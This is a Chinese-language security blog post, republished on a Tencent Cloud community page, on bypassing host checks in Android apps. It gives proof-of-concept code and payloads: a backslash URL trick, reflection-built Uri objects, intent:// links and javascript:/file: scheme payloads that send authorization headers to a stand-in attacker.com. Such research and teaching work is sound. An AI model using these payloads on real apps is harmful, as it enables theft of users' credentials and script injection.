前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >在Android应用中绕过主机验证的小技巧

在Android应用中绕过主机验证的小技巧

作者头像
用户1467662
发布2019-09-04 11:02:35
1.8K0
发布2019-09-04 11:02:35
举报
文章被收录于专栏:农夫安全农夫安全

在Android应用中绕过主机验证的小技巧

反斜杠技巧

查看典型的主机验证代码:

代码语言:javascript
复制
Uri uri = Uri.parse(attackerControlledString);
if("legitimate.com".equals(uri.getHost() || uri.getHost().endsWith(".legitimate.com")) {
    webView.loadUrl(attackerControlledString, getAuthorizationHeaders()); // or webView.loadUrl(uri.toString())
}

android.net.Urijava.net.URL的解析器中存在问题,它们不识别校验权限部分中的反斜杠(如果你测试java.net.URI将显示异常)。

代码语言:javascript
复制
String url = "http://attacker.com\\\\@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost()); // legitimate.com is printed!
webView.loadUrl(url, getAuthorizationHeaders()); // attacker.com is loaded :P

思考

以下是相对安全的URL验证示例:

代码语言:javascript
复制
Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) && uri.getUserInfo() == null && "legitimate.com".equals(uri.getHost());
if(isOurDomain) {
    webView.load(uri.toString(), getAuthorizationHeaders());
}

android.net.Uri在Android平台上被广泛使用,但是如果你看一下源代码,你会发现有一个带有几个内部子类的抽象类!我发现可以使用任意部分构建自定义URI android.net.Uri$HierarchicalUri。代码MainActivity.java

代码语言:javascript
复制
public class MainActivity extends Activity {

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Uri uri;
        try {
            Class partClass = Class.forName("android.net.Uri$Part");
            Constructor partConstructor = partClass.getDeclaredConstructors()[0];
            partConstructor.setAccessible(true);

            Class pathPartClass = Class.forName("android.net.Uri$PathPart");
            Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
            pathPartConstructor.setAccessible(true);

            Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
            Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
            hierarchicalUriConstructor.setAccessible(true);

            Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
            Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
            uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
        }
        catch (Exception e) {
            throw new RuntimeException(e);
        }

        Intent intent = new Intent();
        intent.setData(uri);
        intent.setClass(this, TestActivity.class);
        startActivity(intent);
    }
}

代码TestActivity.java

代码语言:javascript
复制
public class TestActivity extends Activity {

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Uri uri = getIntent().getData();
        Log.d("Wow", "Scheme: " + uri.getScheme());
        Log.d("Wow", "UserInfo: " + uri.getUserInfo());
        Log.d("Wow", "Host: " + uri.getHost());
        Log.d("Wow", "toString(): " + uri.toString());
    }
}

在我本机测试,它显示这种情况:

代码语言:javascript
复制
10-30 06:02:20.142 32044 32044 D Wow     : Scheme: https
10-30 06:02:20.142 32044 32044 D Wow     : UserInfo: null
10-30 06:02:20.142 32044 32044 D Wow     : Host: legitimate.com
10-30 06:02:20.142 32044 32044 D Wow     : toString(): https://legitimate.com@attacker.com

这是因为apps只解析一次url,虽然受害者应用程序不再解析它,但是信任从不受信任的来源会收到“already parsed”URI地址

远程利用反斜杠技术

应用程序可以自动处理来自浏览器的外部链接。这可以通过注册特殊功能来完成。intent-filter

代码语言:javascript
复制
    <activity android:name=".DeeplinkActivity">
        <intent-filter android:autoVerify="true">
            <action android:name="android.intent.action.VIEW"/>
            <category android:name="android.intent.category.DEFAULT"/>
            <category android:name="android.intent.category.BROWSABLE"/>
            <data android:scheme="https" android:host="legitimate.com"/>
        </intent-filter>
    </activity>

在此步骤中,已经确认可以从第三方应用/ ADB攻击该攻击。如果您尝试创建一个远程PoC以匹配过滤器(请记住,Android也用于parsedIntent.getData().getHost()匹配intent-filters中定义的值)并触发错误

代码语言:javascript
复制
<a href="https://attacker.com\\@legitimate.com/">Begin zaheck!</a>

或者

代码语言:javascript
复制
<a href="https://attacker.com%5C%5C@legitimate.com/">Begin zaheck!</a>

你会注意到,在第一个例子中,所有都\将被替换/,在第二个例子中,它们将被保留编码,反斜杠技巧将不起作用。但仔细研究了intent://计划如何工作后,我找到了一种远程利用它的方法。简介:

https://www.mbsd.jp/Whitepaper/IntentScheme.pdf

所有反斜杠都可以保存在未更改状态,例如URI的哈希部分,这里https://android.googlesource.com/platform/frameworks/base/+/568faa8ed90d965faf302ca60677a40a5b84bf86/core/java/android/content/Intent.java#6334[1]

的PoC:

代码语言:javascript
复制
<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@legitimate.com/;end">Begin zaheck!</a>

在这里https://android.googlesource.com/platform/frameworks/base/+/568faa8ed90d965faf302ca60677a40a5b84bf86/core/java/android/content/Intent.java#6436[2] 它将等于

代码语言:javascript
复制
Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")

攻击变得遥远!

缺少校验方案

如果仅验证主机值,但没有任何有效的未验证方案,则可以使用以下有效负载javascript://file://scheme

代码语言:javascript
复制
javascript://legitimate.com/%0aalert(1)//

或者

代码语言:javascript
复制
file://legitimate.com/sdcard/payload.html

References

[1] https://android.googlesource.com/platform/frameworks/base/+/568faa8ed90d965faf302ca60677a40a5b84bf86/core/java/android/content/Intent.java#6334: https://hackerone.com/redirect?signature=71735acdfb5134f5add5f5b183369f9bd36c3a6e&url=https%3A%2F%2Fandroid.googlesource.com%2Fplatform%2Fframeworks%2Fbase%2F%2B%2F568faa8ed90d965faf302ca60677a40a5b84bf86%2Fcore%2Fjava%2Fandroid%2Fcontent%2FIntent.java%236334 [2] https://android.googlesource.com/platform/frameworks/base/+/568faa8ed90d965faf302ca60677a40a5b84bf86/core/java/android/content/Intent.java#6436: https://hackerone.com/redirect?signature=e9fc759af32db0bc7678daac432ee2fab8835e0a&url=https%3A%2F%2Fandroid.googlesource.com%2Fplatform%2Fframeworks%2Fbase%2F%2B%2F568faa8ed90d965faf302ca60677a40a5b84bf86%2Fcore%2Fjava%2Fandroid%2Fcontent%2FIntent.java%236436

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全社区悦信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 在Android应用中绕过主机验证的小技巧
  • 反斜杠技巧
  • 思考
  • 远程利用反斜杠技术
  • 缺少校验方案
    • References
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档